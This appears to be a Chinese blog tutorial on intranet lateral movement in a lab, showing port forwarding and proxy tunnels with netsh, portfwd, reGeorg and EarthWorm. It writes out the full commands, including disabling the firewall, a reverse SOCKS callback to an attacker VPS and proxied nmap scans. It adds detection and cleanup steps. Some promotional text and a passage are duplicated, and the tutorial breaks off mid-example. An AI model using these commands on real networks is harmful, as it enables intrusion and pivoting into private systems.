网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
场景:
靶机A是web服务器,攻击者通过漏洞攻击获得靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过利用靶机A自带命令行程序netsh,netsh可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。
示例
靶机A 10.211.55.3(windows)
靶机B 10.211.55.7(centos7)
攻击机 10.211.55.4(kali)
在靶机A上运行以下命令开启端口转发策略,提示需管理员权限运行:
netsh interface portproxy add v4tov4 listenaddress=10.211.55.3 listenport=33310 connectport=22 connectaddress=10.211.55.7
使用如下如下命令切换至管理员权限,需输入管理员账号密码。
runas /user:administrator cmd
切换至管理员权限后重复上述命令。
在攻击机上运行如下命令登录靶机B失败。
ssh root@10.211.55.3-p 33310
在靶机A上运行如下命令查看防火墙状态,靶机A防火墙默认开启。
netsh firewall show config
使用netsh关闭靶机A的防火墙
netsh advfirewall set allprofiles state off
在攻击机上运行如下命令利用靶机A的端口转发策略登录至靶机B上。
ssh root@10.211.55.3-p 33310
在靶机B上看到开启了33310监听端口,同时攻击机与该端口建立了tcp连接,也可以看到靶机A主动连接了靶机B的22端口。
说明此刻攻击机正在利用靶机A的端口转发隧道入侵靶机B。
netsh端口转发可使用如下命令查看,确认主机是否被恶意植入了端口转发策略。
netsh interface portproxy show v4tov4
使用如下命令即可删除端口转 发策略
netsh interface portproxy delete v4tov4 listenaddress=10.211.55.3 listenport=33310
2.2 portfwd端口转发
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4以及IPV6的端口转发。
攻击者在获取对外服务器权限后为扩大战果,会上传端口转发工具至对外服务器,获得更多的可攻击面。例如将失陷主机的任意可访问端口转发至内网某台服务器的远程桌面端口,即可通过暴力破解和弱口令的方式尝试登陆内网服务器。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
靶机A是web服务器,攻击者通过漏洞攻击获得靶机A的服务器权限,靶机B位于内网且未映射至互联网,此时通过上传portfwd至靶机A,portfwd可将攻击者的流量经由靶机A转发至靶机B,使得攻击者可以访问到位于内网的靶机B。
示例
靶机A 10.211.55.7
靶机B 10.211.55.3
攻击机 10.211.55.4
工具下载路径https://github.com/rssnsj/portfwd.git
在靶机A上使用如下命令下载portfwd端口转发工具。
git clone https://github.com/rssnsj/portfwd.git
使用如下命令进入src目录并进行编译,该工具包为源码需自行编译使用。
cd portfwd/src``make
使用如下命令建立软链接,链接路径需为portfwd工具的绝对路径。
ln -s /root/portfwd/src/tcpfwd /usr/bin&&ln -s /root/portfwd/src/udpfwd /usr/bin
使用如下命令进行端口转发,将发给靶机A的33310端口的流量转发至靶机B的3389端口,这样即使攻击机与靶机B的网络不通,仍可通过此端口转发链路访问到靶机B的3389端口。
tcpfwd 0.0.0.0:33310 10.211.55.3:3389
在攻击机上运行如下命令即可通过端口转发访问靶机B的远程桌面。
rdesktop 10.211.55.7:33310
在靶机A上运行如下命令可查看到tcpfwd开启了一个监听端口33310,同时利用该端口转发隧道访问了靶机B的3389端口。
netstat -antlp
通过如下命令可以确定进程的可执行文件所在位置,并进行清除。
ls -al /proc/pid
在靶机B上运行如下命令可以看到靶机A与自身的远程桌面3389端口建立了tcp连接。
netstat -ano
2.3 regeorg正向代理
regeorg工具通过http协议建立通信隧道,攻击者通常在获得内网某台web服务器权限后,上传该工具创建socket监听一个端口用于正向代理,攻击者通过此端口可将攻击流量透传至目标内网其他服务器,从而达到内网横向渗透扩大战果的目的。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
在靶机A上上传regeorg后门文件,在攻击机上运行regeorg脚本连接后门,使得本地攻击流量可通过此http隧道转发至内网环境。
示例 利用regeorg工具正向代理进行内网横向渗透
攻击机:10.211.55.5(kali)
靶机A:10.211.55.7(centos7+tomcat)
靶机B:10.211.55.15(windows server2003)
工具下载:
在攻击机上执行如下命令下载regeorg代理工具包
git clone https://github.com/sensepost/reGeorg.git
在靶机A上上传regeorg代理工具包如下:(实际攻击场景下通过利用靶机A的漏洞上传此工具包)
在攻击机上运行代理脚本,由于靶机A使用的是jsp类型网站脚本,命令如下:
python reGeorgSocksProxy.py -u http://10.211.55.7:8080/reGeorg-master/tunnel.jsp -p 1088
提示georg says, ‘all seems fine’说明连接成功,已完成端口复用。
在攻击机上配置本地全局代理proxychains,使得本地攻击流量可通过regeorg创建的http隧道转发至内网其他服务器。
攻击机自带proxychains全局代理工具,默认路径为/etc/proxychains4.conf,编辑配置文件在文件最后增加如下配置:
Socks5 127.0.0.1 1088
以上配置使得攻击机可将支持socks5协议的攻击流量通过本地1088端口转发至靶机A,再通过靶机A转发至内网其他服务器。
查看攻击机上的regeorg的运行日志可以看到,telnet请求的目的地址和端口。
查看靶机A上的网络连接,可以看到攻击机的请求成功实现端口复用,复用了java进程创建的端口连接了靶机B的445端口。
查看靶机B的网络连接无法看到攻击机ip地址,靶机A作为攻击机的正向代理
下面使用端口扫描工具对靶机B进行端口扫描,命令如下:
proxychains4 namp -sT 10.211.55.15 -Pn
成功扫描出靶机B开放的端口。
在靶机B上抓包可以看到所有的端口扫描请求源地址均来自靶机A而不是攻击机。
regeorg代理工具是基于web程序实现的,其可执行文件一般位于网站路径下,可通过上传web后门查杀工具进行本地查杀。
上传web后门查杀工具后执行如下命令指定查杀路径,可以发现网站路径下攻击者不仅上传了regeorg代理工具同时也被植入了web后门文件。
根据其扫描结果与网站开发核实后进行清除,同时可检查同路径下有无创建时间相同的脚本文件并与开发核实防止web后门查杀工具存在漏报误报情况。
./hm scan /usr/local/tomcat/tomcat/apache-tomcat-8.5.51/webapps/
3 反向代理
3.1 earthworm反向代理
earthworm是一套便携式网络穿透工具,具有socks和端口转发两大核心功能,支持正向代理、反向代理、多级代理等方式打通网络隧道,可在复杂网络环境下完成网络穿透和内网横向渗透的功能。
注意点:
实际环境下攻击者利用靶机的漏洞上传该工具,本示例目的为演示代理工具的使用和原理,未体现漏洞利用过程。
场景:
分别在靶机A、B以及攻击机上运行earthworm代理工具,使得攻击机将靶机A、B作为其多级代理进行内网横向渗透。
示例1 利用earthworm反向代理进行内网横向渗透
靶机A:10.211.55.7(centos7)
靶机B:10.211.55.15(windows server 2003r2)
攻击机:10.211.55.4(kali)
工具下载路径如下:
git clone https://github.com/idlefire/ew.git
使用上述命令在攻击机上下载该工具如下:
下载成功后运行如下命令,可在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
使用命令netstat -antlp 可以看到攻击机本地开启了1080和8888监听端口。
在靶机A上上传earthworm,并运行如下命令连接攻击机的8888端口,建立与攻击机的反向代理。
./ew -s rssocks -d vpsip -e 8888
运行后可以看到程序日志提示已完成代理的连接。
在攻击机上修改全局代理软件proxychains的配置文件,默认路径
为/etc/proxychains4.conf,配置socks5代理地址和端口如下:
注意:
由于演练环境为本地搭建,实际环境下攻击机地址一般为公网vps地址,若设置为公网vps地址,此时全局代理配置ip应设置为vps地址。
在攻击机上使用如下命令通过代理隧道探测靶机B的3389端口是否开启,telnet使用的是tcp协议,而socks5协议支持tcp和udp协议数据的传递。
proxychains telnet 10.211.55.15 3389
在靶机A的earthworm日志上可以看到攻击机发起的telnet请求触发的tcp数据包成功转发至靶机B上。
在靶机A上查看网络连接可以看到靶机A与攻击机的8888端口建立了tcp连接,同时也可看到靶机A成功代理了攻击机触发的3389请求。
在靶机B上只能看到靶机A的地址与自身3389端口建立了连接,无法看到攻击机地址。
此时利用全局代理以及靶机A的代理隧道,即使靶机B处于内网无法通过外网访问,也可通过此代理隧道实现远程登录靶机B,实现内网的横向移动。
使用如下命令远程登录靶机B:
proxychains4 resktop 10.211.55.15
攻击机弹出了靶机B的远程桌面端口,此时若靶机B使用了弱密码或被暴力破解成功即可实现远程登录。
示例2 使用earthworm多级代理进行内网横向渗透
靶机A:10.211.55.7(centos7)
靶机B:10.211.55.15(windows server 2003r2)
靶机C:10.211.55.3(windows10)
攻击机:10.211.55.4(kali)
本示例中靶机A可访问攻击机,靶机B和C均与攻击机网络不通,但与靶机A网络互通。
注意:
某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机,二级代理连接一级代理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
靶机B:10.211.55.15(windows server 2003r2)
靶机C:10.211.55.3(windows10)
攻击机:10.211.55.4(kali)
本示例中靶机A可访问攻击机,靶机B和C均与攻击机网络不通,但与靶机A网络互通。
注意:
某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机,二级代理连接一级代理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。
[外链图片转存中…(img-psY6jpHR-1715506851840)]
[外链图片转存中…(img-DhXyEGKm-1715506851841)]
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!